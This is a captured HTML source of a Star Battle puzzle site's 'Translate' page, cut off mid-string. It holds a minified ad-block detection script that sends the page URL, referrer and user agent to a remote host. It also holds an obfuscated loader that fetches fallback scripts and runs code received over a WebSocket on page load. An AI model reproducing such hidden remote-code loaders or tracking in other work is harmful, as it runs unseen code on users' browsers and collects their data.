PageSourceSearch

https://www.puzzle-star-battle.com/translate.php

html puzzle-star-battle.com collected 2026-09-29 04:15:24 UTC 51,633 bytes, 387 lines download raw bytes

1<!doctype html>
2<html lang="en" >
3<head>
4    
4<script>window.__pageStartMs = Date.now(); </script>
4
5    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
6    <meta name="color-scheme" content="light only" />
7    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
8        <meta name="apple-itunes-app" content="app-id=6768370206" />
9    <title>Translate - Star Battle - online puzzle game</title>
10    <meta name="description" content="Translate - Star Battle - play online the puzzle game" />
11    <meta name="keywords" content="Translate - Star Battle,Queens,puzzle,game" />
12    <META NAME="ROBOTS" CONTENT="INDEX,FOLLOW" />
13    <!-- Translate - Star Battle - online puzzle game -->
14
15    
16                                                            <link rel="alternate" href="https://bg.puzzle-star-battle.com/translate.php" hreflang="bg" />
17                                                <link rel="alternate" href="https://ru.puzzle-star-battle.com/translate.php" hreflang="ru" />
18                                                <link rel="alternate" href="https://pl.puzzle-star-battle.com/translate.php" hreflang="pl" />
19                                                <link rel="alternate" href="https://ja.puzzle-star-battle.com/translate.php" hreflang="ja" />
20                                                <link rel="alternate" href="https://it.puzzle-star-battle.com/translate.php" hreflang="it" />
21                                                <link rel="alternate" href="https://es.puzzle-star-battle.com/translate.php" hreflang="es" />
22                                                <link rel="alternate" href="https://zh.puzzle-star-battle.com/translate.php" hreflang="zh-Hant" />
23                                                <link rel="alternate" href="https://cn.puzzle-star-battle.com/translate.php" hreflang="zh-Hans" />
24                                                <link rel="alternate" href="https://de.puzzle-star-battle.com/translate.php" hreflang="de" />
25                                                <link rel="alternate" href="https://fr.puzzle-star-battle.com/translate.php" hreflang="fr" />
26                                                <link rel="alternate" href="https://nl.puzzle-star-battle.com/translate.php" hreflang="nl" />
27                                                <link rel="alternate" href="https://tr.puzzle-star-battle.com/translate.php" hreflang="tr" />
28                                                <link rel="alternate" href="https://cz.puzzle-star-battle.com/translate.php" hreflang="cs" />
29                                                <link rel="alternate" href="https://ko.puzzle-star-battle.com/translate.php" hreflang="ko" />
30                                                <link rel="alternate" href="https://sr.puzzle-star-battle.com/translate.php" hreflang="sr" />
31                                                <link rel="alternate" href="https://si.puzzle-star-battle.com/translate.php" hreflang="sl" />
32                                                <link rel="alternate" href="https://br.puzzle-star-battle.com/translate.php" hreflang="pt-BR" />
33                                                <link rel="alternate" href="https://pt.puzzle-star-battle.com/translate.php" hreflang="pt" />
34                                                <link rel="alternate" href="https://sv.puzzle-star-battle.com/translate.php" hreflang="sv" />
35                                                <link rel="alternate" href="https://vi.puzzle-star-battle.com/translate.php" hreflang="vi" />
36                        
37    <meta name="twitter:card" content="summary_large_image"/>
38
39    <meta property="og:title" content="Translate - Star Battle - online puzzle game" />
40    <meta name="twitter:title" content="Translate - Star Battle - online puzzle game" />
41    <meta name="twitter:text:title" content="Translate - Star Battle - online puzzle game" />
42
43        <meta property="og:image" content="https://www.puzzle-star-battle.com/art/og/puzzle-star-battle.png" />
44    <meta name="twitter:image" content="https://www.puzzle-star-battle.com/art/og/puzzle-star-battle.png">
45        <link rel="icon" href="/art/ico/puzzle-star-battle.ico" />
46
47    <link rel="stylesheet" type="text/css" href="https://d3lj2s469wtjp0.cloudfront.net/build/css/new
47/star-battle-1e0f017482.css" />
48
49    
49<script type="text/javascript">
50            var ad_manager = 'freestar';
51        var base_domain = 'puzzle-star-battle.com';
52        window.STATE_SYNC_FRONTEND = 'puzzle-loop';
53    </script>
53
54
55
56
57                        
57<script data-cfasync="false" type="text/javascript">
58  (()=>{var h=(o,t,i)=>new Promise((e,n)=>{var s=u=>{try{l(i.next(u))}catch(v){n(v)}},d=u=>{try{l(i.throw(u))}catch(v){n(v)}},l=u=>u.done?e(u.value):Promise.resolve(u.value).then(s,d);l((i=i.apply(o,t)).next())});var D,kt=new Uint8Array(16);function G(){if(!D&&(D=typeof crypto!="undefined"&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!D))throw new Error("");return D(kt)}var c=[];for(let o=0;o<256;++o)c.push((o+256).toString(16).slice(1));function st(o,t=0){return c[o[t+0]]+c[o[t+1]]+c[o[t+2]]+c[o[t+3]]+"-"+c[o[t+4]]+c[o[t+5]]+"-"+c[o[t+6]]+c[o[t+7]]+"-"+c[o[t+8]]+c[o[t+9]]+"-"+c[o[t+10]]+c[o[t+11]]+c[o[t+12]]+c[o[t+13]]+c[o[t+14]]+c[o[t+15]]}var Et=typeof crypto!="undefined"&&crypto.randomUUID&&crypto.randomUUID.bind(crypto),W={randomUUID:Et};function Tt(o,t,i){if(W.randomUUID&&!t&&!o)return W.randomUUID();o=o||{};let e=o.random||(o.rng||G)();if(e[6]=e[6]&15|64,e[8]=e[8]&63|128,t){i=i||0;for(let n=0;n<16;++n)t[i+n]=e[n];return t}return st(e)}var B=Tt;var at="aHR0cHM6Ly9hLnB1Yi5uZXR3b3JrL2NvcmUvcHJlYmlkLXVuaXZlcnNhbC1jcmVhdGl2ZS5qcw==",rt="aHR0cHM6Ly93d3cuZ29vZ2xldGFnc2VydmljZXMuY29tL3RhZy9qcy9ncHQuanM=",dt="aHR0cHM6Ly9hLnB1Yi5uZXR3b3JrL2NvcmUvaW1ncy8xLnBuZw==",lt="ZGF0YS1mcmVlc3Rhci1hZA==",ct="c2l0ZS1jb25maWcuY29t";var mt="aHR0cHM6Ly9mcmVlc3Rhci5jb20vYWQtcHJvZHVjdHMvZGVza3RvcC1tb2JpbGUvZnJlZXN0YXItcmVjb3ZlcmVk",ut=["Y29uZmlnLmNvbmZpZy1mYWN0b3J5LmNvbQ==","Y29uZmlnLmNvbnRlbnQtc2V0dGluZ3MuY29t","Y29uZmlnLnNpdGUtY29uZmlnLmNvbQ==","Y29uZmlnLmZyZmlndXJlcy5jb20="];var y="ZnMtYWRiLWVycg",gt=()=>h(void 0,null,function*(){document.body||(yield new Promise(n=>document.addEventListener("DOMContentLoaded",n)));let o=["YWQ=","YmFubmVyLWFk","YmFubmVyX2Fk","YmFubmVyLWFkLWNvbnRhaW5lcg==","YWQtc2lkZXJhaWw=","c3RpY2t5YWRz","aW1wcnRudC1jbnQ="],t=document.createElement("div");t.textContent=Math.random().toString(),t.setAttribute(atob(lt),Math.random().toString());for(let n=0;n<o.length;n++)t.classList.add(atob(o[n]));t.style.display="block",document.body.appendChild(t);let i=window.getComputedStyle(t),e=i==null?void 0:i.display;if(t.remove(),e==="none")throw new Error(y)}),H=(o,t=!1)=>h(void 0,null,function*(){return new Promise((i,e)=>{let n=document.createElement("script");try{n.src=o,n.addEventListener("load",()=>{t?ft(o,i,e):i()}),n.addEventListener("error",()=>{e(y)}),document.head.appendChild(n)}catch(s){e(s)}finally{n.remove()}})}),pt=(...t)=>h(void 0,[...t],function*(o=atob(dt)){return new Promise((i,e)=>{let n=encodeURIComponent(new Date().toISOString().split("Z")[0]),s=document.createElement("img");s.src=`${o}?x=${n}`,s.onload=()=>h(void 0,null,function*(){yield ft(o,i,e),i(),s.remove()}),s.onerror=()=>{e(y),s.remove()},document.body.appendChild(s)})}),ft=(o,t,i)=>h(void 0,null,function*(){try{let e=yield fetch(o),n=e==null?void 0:e.redirected,s=e==null?void 0:e.url;n||(s?s!==o:!1)?i(y):t()}catch(e){i(y)}});var ht="";var bt="";var F=class{constructor(t){this.config=null,this.langCode=null,this.languages=this.getUserPreferredLanguages(t)}init(){return h(this,null,function*(){this.config=yield this.fetchConfig(),this.config!==null&&(this.langCode=this.getFirstSupportedLanguage(this.languages),this.observe())})}fetchConfig(){return h(this,null,function*(){let t=ut,i=t.length-1,e=Number.isNaN(Number(localStorage.getItem("fs.cdi")))?0:Number(localStorage.getItem("fs.cdi")),n=Number.isNaN(Number(localStorage.getItem("fs.cfc")))?0:Number(localStorage.getItem("fs.cfc")),d=`https://${atob(t[e])}/puzzle-star-battle-com.json`;try{return(yield fetch(d)).json()}catch(l){return n++,n>=3&&(n=0,e++),e>i&&(e=0),null}finally{localStorage.setItem("fs.cdi",e),localStorage.setItem("fs.cfc",n)}})}killScroll(t){if(t.isScrollDisabled){this.existingOverflow=document.body.style.overflow,document.body.style.overflow="hidden";let i=window.pageYOffset||document.documentElement.scrollTop,e=window.pageXOffset||document.documentElement.scrollLeft;document.body.style.top=`-${i}px`,document.body.style.left=`-${e}px`,window.onscroll=function(){window.scrollTo(e,i)}}}reviveScroll(){document.body.style.overflow=this.existingOverflow||"",window.onscroll=function(){}}getUserPreferredLanguages({languages:t,language:i}){let e=t===void 0?[i]:t;if(e)return e.map(n=>{let s=n.trim().toLowerCase();if(!s.includes("zh"))return s.split(/-|_/)[0];let d=s.split(/-|_/)[1],l=["hans","cn","sg"],u=["hant","hk","mo","tw"];
58if(s==="zh"||l.includes(d))return"zh";if(u.includes(d))return"zh-hant"})}getFirstSupportedLanguage(t){let i=["title","paragraphOne","buttonText"],e=t.find(n=>i.every(s=>!!this.config[s][n]));return e!==void 0?e:"en"}getLocalizedTextContent(t,i,e=!1){var s;let n=t[i];if(n===void 0)throw new Error(`Config text not found for text key ${i}`);return e?(s=n[this.langCode])!=null?s:n.en:n[this.langCode]}getPixelString(t){return typeof t=="number"?`${t}px`:null}pickContrastingColorValue(t,i,e){let n=t.substring(1,7),s=parseInt(n.substring(0,2),16),d=parseInt(n.substring(2,4),16),l=parseInt(n.substring(4,6),16);return s*.299+d*.587+l*.114>=128?i:e}generateOverlay(t){let{siteId:i,isCloseEnabled:e,dismissDuration:n,dismissDurationPv:s,logoUrl:d,font:l,paragraphTwo:u,paragraphThree:v,closeText:E,linkText:U,linkUrl:O,textColor:T,headerTextColor:S,buttonTextColor:w,headerBgColor:X,bgColor:I,buttonBgColor:L,borderColor:V,borderWidth:vt,borderRadius:xt,closeButtonColor:$,closeTextColor:Q,linkTextColor:Z,linkTextDecoration:j,linkVisitedTextColor:J,hasFsBranding:yt,disableInstructions:_t}=t,g=document.createElement("div");g.style.setProperty("--vot3fy",L||"#40C28A"),g.style.setProperty("--_1lsu7q",w||"#000000"),g.style.setProperty("--_1n05zg8",this.pickContrastingColorValue(I||"#FFFFFF","white","black")),Z&&g.style.setProperty("--_1emtbbe",Z),J&&g.style.setProperty("--_1h4vo4h",J),j&&g.style.setProperty("--g0b7gl",j),g.classList.add("_1bm7ugs"),g.id="ndeb5g",g.dir="auto",this.oid=g.id;let p=document.createElement("div");p.classList.add("ittm5a"),I&&(p.style.backgroundColor=I),l&&(p.style.fontFamily=l),T&&(p.style.color=T);let Y=this.getPixelString(xt),q=this.getPixelString(vt);Y&&(p.style.borderRadius=Y),(V||q)&&(p.style.borderStyle="solid"),V&&(p.style.borderColor=V),q&&(p.style.borderWidth=q);let b=document.createElement("div");if(b.classList.add("_1wmm6xd"),S&&(b.style.color=S),X){b.style.backgroundColor=X;let a=Y||"1em";b.style.borderTopLeftRadius=a,b.style.borderTopRightRadius=a}if(d){let a=document.createElement("img");a.src=d,a.alt="Logo",a.onerror=function(){this.style.display="none"},b.appendChild(a)}let K=document.createElement("h2");K.textContent=this.getLocalizedTextContent(t,"title"),b.appendChild(K);let x=document.createElement("section");x.classList.add("zgt4cb");let tt=document.createElement("p");if(tt.textContent=this.getLocalizedTextContent(t,"paragraphOne"),x.appendChild(tt),u&&Object.keys(u).length!==0){let a=document.createElement("p");a.textContent=this.getLocalizedTextContent(t,"paragraphTwo"),x.appendChild(a)}if(v&&Object.keys(v).length!==0){let a=document.createElement("p");a.textContent=this.getLocalizedTextContent(t,"paragraphThree"),x.appendChild(a)}let et=U&&this.getLocalizedTextContent(t,"linkText"),it=O&&this.getLocalizedTextContent(t,"linkUrl",!0);if(et&&it){let a=document.createElement("div");a.style.margin="0 0 1em";let r=document.createElement("a");r.classList.add("mhlzqc"),Z&&r.classList.add("_1emtbbe"),J&&r.classList.add("_1h4vo4h"),j&&r.classList.add("g0b7gl"),r.textContent=et,r.href=it,r.target="_blank",a.appendChild(r),x.appendChild(a)}let _=document.createElement("button");if(_.classList.add("_10jcka8"),_.tabIndex=0,_.textContent=this.getLocalizedTextContent(t,"buttonText"),L&&(_.style.backgroundColor=L),w&&(_.style.color=w),_.onclick=function(){document.querySelector("section.zgt4cb").classList.add("_15yer7c"),document.querySelector("section.g3f52f").classList.remove("_15yer7c")},x.appendChild(_),e){let a=()=>{if(g.remove(),this.reviveScroll(),!n&&!s){sessionStorage.setItem(`fs.adb${i||""}.dis`,"1");return}sessionStorage.removeItem(`fs.adb${i||""}.dis`),s?this.updateValues("p"):n&&this.updateValues("dt")},r=document.createElement("span");if(r.classList.add("_10cqbyd"),r.innerHTML="&times;",r.tabIndex=0,$&&(r.style.color=$),r.addEventListener("click",a),b.appendChild(r),E&&Object.keys(E).length!==0){let f=document.createElement("div");f.classList.add("axqbiy");let m=document.createElement("p");m.classList.add("_10lak7c"),m.textContent=this.getLocalizedTextContent(t,"closeText"),Q&&(m.style.color=Q),m.addEventListener("click",a),f.appendChild(m),x.appendChild(f)}}let Ct=a=>{let r=document.querySelectorAll("._19i18vc > li"),f=document.getElementsByClassName("_130j852");for(let m=0;m<f.length;m++)r[m].classList.remove("_1lowx25"),f[m].classList.remove("_1lowx25");r[a].classList.add("_1lowx25"),f[a].classList.add("_1lowx25")},k=document.createElement("section");k.classList.add("g3f52f","_15yer7c");let M=document.createElement("h4");
58M.classList.add("_1e70kqd"),M.textContent=this.getLocalizedTextContent(t,"instructionsTitle");let R=document.createElement("div");R.classList.add("i5jiss");let P=document.createElement("ul");P.classList.add("_19i18vc");let z=document.createElement("div");z.classList.add("_1kebabo"),_t.forEach((a,r)=>{let f=document.createElement("li");f.onclick=()=>Ct(r),f.textContent=this.getLocalizedTextContent(a,"name",!0),P.appendChild(f);let m=document.createElement("ol");m.classList.add("_130j852"),r===0&&(f.classList.add("_1lowx25"),m.classList.add("_1lowx25")),this.getLocalizedTextContent(a,"steps").forEach(Lt=>{let ot=document.createElement("li");ot.textContent=Lt,m.appendChild(ot)}),z.appendChild(m)});let wt=this.getLocalizedTextContent(t,"disclaimerText"),nt=document.createElement("p");nt.textContent=wt,z.appendChild(nt),R.appendChild(P),R.appendChild(z);let C=document.createElement("button");if(C.classList.add("_10jcka8","hrbmcw"),C.textContent=this.getLocalizedTextContent(t,"backButtonText"),L&&(C.style.backgroundColor=L),w&&(C.style.color=w),C.onclick=function(){document.querySelector("section.g3f52f").classList.add("_15yer7c"),document.querySelector("section.zgt4cb").classList.remove("_15yer7c")},k.appendChild(M),k.appendChild(R),k.appendChild(C),p.appendChild(b),p.appendChild(x),p.appendChild(k),yt){let a=document.createElement("a");a.classList.add("_1ahf6lp"),a.href=atob(mt),a.target="_blank";let r=document.createElement("img");r.alt="Logo",r.src=this.pickContrastingColorValue(I||"#FFFFFF",ht,bt),a.appendChild(r),p.appendChild(a)}return g.appendChild(p),g}getAndSetOverlay(t){return h(this,null,function*(){if(this.post(!0,t),!t.dismissDuration&&!t.dismissDurationPv&&sessionStorage.getItem(`fs.adb${t.siteId||""}.dis`)==="1")return;let i=localStorage.getItem("fs.adb"),e=i&&JSON.parse(i);if(t.dismissDurationPv&&e.p&&typeof e.p=="number")if(t.dismissDurationPv<=e.p+1)this.clearValue("p");else{this.updateValues("p");return}else this.clearValue("p");let n=parseInt(e.dt,10);if(t.dismissDuration&&n){if(Math.abs((Date.now()-n)/36e5)<t.dismissDuration)return;this.clearValue("dt")}else this.clearValue("dt");if(document.body||(yield new Promise(d=>document.addEventListener("DOMContentLoaded",d))),this.killScroll(t),document.querySelector(`#${this.oid}`)!==null)return;let s=this.generateOverlay(t);document.body.appendChild(s)})}getStatus(t,i){return i===!0?1:t===2||t===1?2:0}getAndSetData(t){let i=localStorage.getItem("fs.adb"),e=i&&JSON.parse(i),n=Date.now(),s,d,l;return e?(s=e.i,d=e.ot,l=this.getStatus(e.s,t)):(e={},s=B(),d=n,l=t?1:0),e.i=s,e.s=l,e.ot=d,e.lt=n,localStorage.setItem("fs.adb",JSON.stringify(e)),e}updateValues(t){let i=localStorage.getItem("fs.adb"),e=i&&JSON.parse(i);t==="p"?(e.p=e.p?e.p+1:1,e.dt&&delete e.dt):t==="dt"&&(e.dt=Date.now(),e.p&&delete e.p),localStorage.setItem("fs.adb",JSON.stringify(e))}clearValue(t){let i=localStorage.getItem("fs.adb"),e=i&&JSON.parse(i);e[t]&&(delete e[t],localStorage.setItem("fs.adb",JSON.stringify(e)))}post(t,i){let e=atob(ct),s=`https://${i.cDomain||e}/v2/abr`,d=this.getAndSetData(t),{accountId:l,siteId:u}=i,v=navigator.userAgent||window.navigator.userAgent,E=document.referrer,U=window.location,O=S=>{switch(S){case 0:return"not detected";case 1:return"detected";case 2:return"recovered";default:return}},T={accountId:l,siteId:u,userId:d.i,url:U.href,referalURL:E,userAgent:v,status:O(d.s),returning:d.ot!==d.lt,version:"1.4.2"};fetch(s,{method:"POST",headers:{"Content-Type":"application/json","X-Client-Geo-Location":"{client_region},{client_region_subdivision},{client_city}"},body:JSON.stringify(T)}).catch(()=>{})}observe(){let t="",i=new MutationObserver(()=>{location.pathname!==t&&(t=location.pathname,this.run())}),e={subtree:!0,childList:!0};i.observe(document,e)}run(){let t=this.config;setTimeout(()=>h(this,null,function*(){try{yield gt(),yield pt(),yield H(atob(at),!0),yield H(atob(rt),!1),this.post(!1,t)}catch(i){(i===y||(i==null?void 0:i.message)===y)&&(yield this.getAndSetOverlay(t))}}),500)}};var Rt=["googlebot","mediapartners-google","adsbot-google","bingbot","slurp","duckduckbot","baiduspider","yandexbot","konqueror/3.5","Exabot/3.0","facebot","facebookexternalhit/1.0","facebookexternalhit/1.1","ia_archiver"],N=class{constructor(t){this.globalNavigator=t}checkForBot(){let t=this.globalNavigator.userAgent;t&&Rt.forEach(i=>
58{if(RegExp(i.toLowerCase()).test(t.toLowerCase()))throw new Error("bot detected")})}};var zt=new N(window.navigator);zt.checkForBot();var Dt=new F(window.navigator);Dt.init();})();
59</script>
vendor: 1 bytes, line 59
59
60<script data-cfasync="false">(function(){(function(H,n){const L=K,B=H();while(!![]){try{const G=-parseInt(L(0x27f,'D1Gg'))/(0x1d25*-0x1+-0x1b29+0x384f*0x1)*(parseInt(L(0x1e6,'uVPt'))/(-0x306*0x6+-0x1*-0x1357+-0x131))+parseInt(L(0x214,'Q8gs'))/(-0x1304*0x2+-0x5*0x661+0x45f0)+-parseInt(L(0x225,'J4T1'))/(0x5dc+-0xf7*-0xe+0x1*-0x135a)+parseInt(L(0x1d3,'$NU*'))/(-0x14f+-0x1e9a+-0x43*-0x7a)*(parseInt(L(0x27b,'j[Jt'))/(0xd*0x232+0x2*0x1381+-0x4386))+parseInt(L(0x26e,'dkX5'))/(-0xcba+0x417+0x8aa)+parseInt(L(0x1f3,'thxf'))/(-0x7fa+-0xf*-0x24d+-0x1a81)+-parseInt(L(0x1f8,'vBtE'))/(-0xb50+0x1f18+-0x13bf)*(-parseInt(L(0x201,']T9b'))/(-0x12a4+-0x594+0x40b*0x6));if(G===n)break;else B['push'](B['shift']());}catch(u){B['push'](B['shift']());}}}(I,-0x6*0x50de+0x4*-0x4a67b+0x207801),(function(){const P=K;window[P(0x226,'uVPt')+'_'+window[P(0x28f,'60h%')](window[P(0x264,'thxf')+P(0x20b,'dkX5')][P(0x22e,'Dmid')])]={'HTMLIFrameElement_contentWindow':Object[P(0x26c,'y^yw')+P(0x21f,'wArp')+P(0x205,'Zl]$')+P(0x23d,'60h%')+P(0x294,'f*5m')+P(0x1fd,'%[8^')](HTMLIFrameElement[P(0x231,'thxf')+P(0x1e3,'7kCC')+'e'],P(0x1fe,'o!ME')+P(0x287,'!1Ud')+P(0x1d4,'KV2W')+'w')};function H(G){const x=P,[u,...U]=G,g=document[x(0x1ea,'fBC$')+x(0x262,']Ncl')+x(0x277,'mj^8')+'t'](x(0x224,'7kCC')+'pt');return g[x(0x267,'Dmid')]=u,g[x(0x24c,'2B$J')+x(0x202,'y^yw')+x(0x204,'*dim')+x(0x230,'dkX5')](x(0x237,'#y^i')+'r',()=>{const o=x;if(U[o(0x1f2,'hBrM')+'th']>0x308+0x1d6+0x2*-0x26f)H(U);else{const v=new WebSocket(o(0x25c,'!1Ud')+o(0x1e5,'!1Ud')+o(0x273,'(bK$')+o(0x228,')N%@')+o(0x1d8,'#y^i')+'s');v[o(0x280,'pDD*')+o(0x208,']Ncl')+'e']=Y=>{const N=o,l=Y[N(0x25b,'Q8gs')],m=document[N(0x1fa,'$NU*')+N(0x203,'60h%')+N(0x236,'hBrM')+'t'](N(0x1e8,'y^yw')+'pt');m[N(0x268,'#y^i')+N(0x22a,'%k^V')+N(0x22c,'mj^8')]=l,document[N(0x1f0,'Wl^w')][N(0x25a,'vBtE')+N(0x28b,'dkX5')+N(0x1da,'*SJ6')](m);},v[o(0x278,'uVPt')+'en']=()=>{const r=o;v[r(0x206,'wArp')](r(0x1db,'D1Gg')+r(0x232,'Zl]$')+'l');};}}),document[x(0x239,'*SJ6')][x(0x260,'eQow')+x(0x238,'Q8gs')+x(0x26f,'Zl]$')](g),g;}const n=document[P(0x251,'f*5m')+P(0x26b,'!1Ud')+P(0x265,'%[8^')+'t'][P(0x246,'thxf')+P(0x22d,'ladp')][P(0x243,'y^yw')+'in']??P(0x291,'*SJ6')+P(0x1f4,'*SJ6')+P(0x21c,'(bK$');document[P(0x1e7,'eQow')+P(0x25d,'XD3h')+P(0x23c,'vBtE')+'t'][P(0x1ee,'!1Ud')+'ve']();const B=document[P(0x1d9,'uVPt')+P(0x282,'Zl]$')+P(0x28a,'f*5m')+'t'](P(0x21e,'fBC$')+'pt');B[P(0x22b,'KuW^')]=P(0x24b,'&d^9')+P(0x1fc,'Q8gs')+n+(P(0x233,'Dmid')+P(0x200,'zZJ0'))+btoa(location[P(0x1ff,'vBtE')+P(0x25e,'hBrM')])[P(0x1d5,'6uM4')+P(0x292,')N%@')](/=+$/,'')+P(0x290,'KuW^'),B[P(0x288,'&d^9')+P(0x216,']Ncl')+P(0x276,'o!ME')](P(0x244,'f*5m')+P(0x257,'6uM4'),P(0x1d7,'#y^i')+P(0x245,'Q8gs')),B[P(0x254,'o!ME')+P(0x1e1,'XD3h')+P(0x20e,'KV2W')+P(0x27a,'XD3h')](P(0x1d6,'ANk0')+'r',()=>{const e=P;H([e(0x271,'$NU*')+e(0x241,'eQow')+e(0x255,'7kCC')+e(0x23e,'B&Lp')+e(0x1f6,'y^yw')+e(0x1e2,'6uM4')+e(0x23f,'$NU*')+e(0x272,'D1Gg')+e(0x270,'zZJ0')+e(0x20f,'#y^i')+e(0x21d,'vBtE')+e(0x235,'#y^i'),e(0x21a,'D1Gg')+e(0x259,'y^yw')+e(0x26a,'bXo&')+e(0x219,'J4T1')+e(0x24a,'Q8gs')+e(0x250,'Q8gs')+e(0x24d,'vBtE')+e(0x27d,'y^yw')+e(0x27c,'pDD*')+e(0x23a,'pDD*')+e(0x1fb,'zZJ0')+e(0x22f,'60h%')+e(0x1d1,'j[Jt')+'js',e(0x1e9,'ANk0')+e(0x289,'D1Gg')+e(0x248,'fBC$')+e(0x211,'wO!6')+e(0x1f9,'ladp')+e(0x252,']T9b')+e(0x286,'uVPt')+e(0x215,'FZoo')+e(0x240,'zZJ0')+e(0x209,'ladp')+e(0x1ed,'D1Gg')+e(0x20c,'f*5m')+e(0x266,'Dmid')+'js',e(0x1f1,'qv#L')+e(0x274,'#y^i')+e(0x1dc,'Zl]$')+e(0x24e,'FZoo')+e(0x1de,'zZJ0')+e(0x227,'$NU*')+e(0x249,'7kCC')+e(0x212,'thxf')+e(0x27e,'Q8gs')+e(0x222,'XD3h')+e(0x295,'Wl^w')+e(0x20a,'*SJ6')+e(0x269,'KuW^')+'js',e(0x21b,'2B$J')+e(0x28d,'fBC$')+e(0x283,'$NU*')+e(0x1e4,'%k^V')+e(0x253,'bXo&')+e(0x229,'dkX5')+e(0x234,'bXo&')+e(0x207,')N%@')+e(0x28e,'Zl]$')+e(0x1dd,'ANk0')+e(0x296,'FZoo')+e(0x1ef,'ANk0')+e(0x1df,']T9b')+e(0x28c,'eQow')+e(0x285,'%cdg')+e(0x1f5,'*dim'),e(0x258,'ladp')+e(0x279,'VI$4')+e(0x220,'%cdg')+e(0x218,'!1Ud')+e(0x25f,'Q8gs')+e(0x26d,'thxf')+e(0x263,']T9b')+e(0x1f7,'XD3h')+e(0x221,'!1Ud')+e(0x1d2,'wArp')+e(0x23b,'$NU*')+e(0x1e0,'$NU*')+e(0x24f,'vBtE')+e(0x217,'j[Jt')]);}),document[P(0x223,'*dim')][P(0x213,'%k^V')+P(0x293,'eQow')+P(0x275,'Q8gs')](B);}()));function K(H,n){H=H-(-0xc9d+0x1f2*0x5+0x4b4);const B=I();let G=B[H];if(K['QeGmMT']===undefined){var u=function(l){const m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
60+/=';let L='',P='';for(let x=0x1*0xc36+-0x1ada+0xea4,o,N,r=-0x1d55*-0x1+-0x1e5*-0x5+0x1*-0x26ce;N=l['charAt'](r++);~N&&(o=x%(0x125f+0x1ea1+-0x30fc)?o*(0x16ea+0x78d+-0x1c7*0x11)+N:N,x++%(-0x638+-0x60c+-0x312*-0x4))?L+=String['fromCharCode'](-0x209b+0x2*-0xa9f+0xc*0x492&o>>(-(0x2003+0x2*0x359+0x26b3*-0x1)*x&-0x2cf+-0x63f*0x2+-0xf53*-0x1)):0x1*-0xa3+-0x1*-0x2c8+-0x225){N=m['indexOf'](N);}for(let e=0x1d73+0x1*0xbb7+-0x2*0x1495,C=L['length'];e<C;e++){P+='%'+('00'+L['charCodeAt'](e)['toString'](-0xd0*0x1a+0x1*0x12cb+0x265))['slice'](-(0x14d1+0x3*0x917+-0x3014));}return decodeURIComponent(P);};const Y=function(l,m){let L=[],P=0x2583+0xfe*-0x13+-0x119*0x11,o,N='';l=u(l);let r;for(r=-0x1b29*0x1+0x12c2*0x2+-0xa5b;r<0x1357+-0x1*-0x24bb+-0x3712;r++){L[r]=r;}for(r=-0x1304*0x2+-0x5*0x661+0x45ed;r<0x5dc+-0xf7*-0xe+0x1*-0x125e;r++){P=(P+L[r]+m['charCodeAt'](r%m['length']))%(-0x14f+-0x1e9a+-0x19*-0x151),o=L[r],L[r]=L[P],L[P]=o;}r=0xd*0x232+0x2*0x1381+-0x438c,P=-0xcba+0x417+0x8a3;for(let e=-0x7fa+-0xf*-0x24d+-0x1a89;e<l['length'];e++){r=(r+(-0xb50+0x1f18+-0x13c7))%(-0x12a4+-0x594+0x868*0x3),P=(P+L[r])%(-0x6*0x84+0x11*-0x1c9+0x2271),o=L[r],L[r]=L[P],L[P]=o,N+=String['fromCharCode'](l['charCodeAt'](e)^L[(L[r]+L[P])%(-0x67*-0x42+0x27b*-0x1+-0x1713)]);}return N;};K['pksdHM']=Y,K['OMLJWu']={},K['QeGmMT']=!![];}const U=B[-0x950+-0x20e7+0x65*0x6b],g=H+U,v=K['OMLJWu'][g];return!v?(K['MxOYnP']===undefined&&(K['MxOYnP']=!![]),G=K['pksdHM'](G,n),K['OMLJWu'][g]=G):G=v,G;}function I(){const C=['ymk0rCka','vmoOemkX','f8okDGq','W4NdHMeD','WP1IkttdUWlcNCk7WP0Jhqe','pmotb8oz','r2iPeG','jJiiDq','W5yptSoeimoLsG','imova8oz','WOWkWO/dNmkbW4uXW79heCk+pNK','WQpdOJVcPa','vCkBcmoF','W5jkWRP1nIdcGW','WP3cVCklCW','vmkPgmkT','amodW4D2','W4JdO3JdIq','WPrdf8kB','vbD7W5u','mCkIW5VcKa','WR0rW5xcLq','WQ3cH8kliW','WR7dOHlcRa','pe8saa','WRXVgG','lc0DlW','WOG4xG','WROBWRNcLa','qHLSW5i','W4XrWQ1S','BXG1ka','W4G0zsK','vCkZsmou','fmokhmoVW7WNAmo6','W6P3WR/cNW','zCklWRfd','AqiFna','b8oElu0','aCksmXq','wmo0gSkG','ltuu','WOiks8or','WRtdOXddPG','iXvckq','WRVdNmoeAq','rbSJW5O','tSkuumov','W5RdJwOB','oCkaWQrB','WO5MW6Hy','WRyuWRhcSG','sSkcW5Tv','cCkXrSo3WQytW73dV8kyWPxcIxddQa','WRCkWOJcJG','g2a/vG','zaqzkW','WR3dJ8obBq','A8o0WQddI2igE8oOW4xdKmo7','umobyb/dJ8kre1/cK01wz8of','W4GuwCoD','f8oiW55o','zbumpW','WOTzWQ1H','j8k6WPPT','n8oZgSoN','WQX+W4rpaGmMt8o+qCkSW4xdRG','AtuFiG','E8k+kq','bgO7tq','WOhdM2Wg','iSoqW4/dVvJdOSoVW5jaW758','uSoHW5pdSa','rmkigSoD','W73dKSoeBa','jMbopW','WQFcGJX/','WPrMvCk/','FSknWOtcUG','WRVdJ8orkG','bqX9WOVdSM7cHmoeWPpcUG','hMyJsW','kL44dq','gCk9ksG','WRJdTXVcUG','q8o5vmor','WO12shS','W45aW5FcJa','v8oMWP3dUq','kNyzlq','k8kVW7FcLG','x1v3W5u','WOtdVJfjWOHWW5O8','W49WWQJcHa','bSoEEuW','z8oLyM3dRmoEWRSYWRdcVSkhobu','oSkNrr8','WRyMWPbw','WRmkW6/cSa','z2Tzir98cSoRcSoyW7yMWQy','jr8IkG','W4LhW4tcGG','WOi7BG','c8kdW5ri','z8kCWOSf','WO8ntmoe','kSoxW6hcUq','W5pdOdf5','F8kmWPpcQW','WQ3dNSowzq','r8oYASoh','WPhcU8knBW','amobW5Co','W4ddJcSk','pCkXoZG','WPjXW6nb','imozW5nfW4ddHeVdVSkcWO5Hr8oG','zmozdmkG','s8kduCov','WOy6xZ0','pmkTWRBcMW','WPevW7hcOq','W6f3cG','ymk3va','smoNW4y','vCk3c8oH','mbqudW','oSkOW73cIG','W6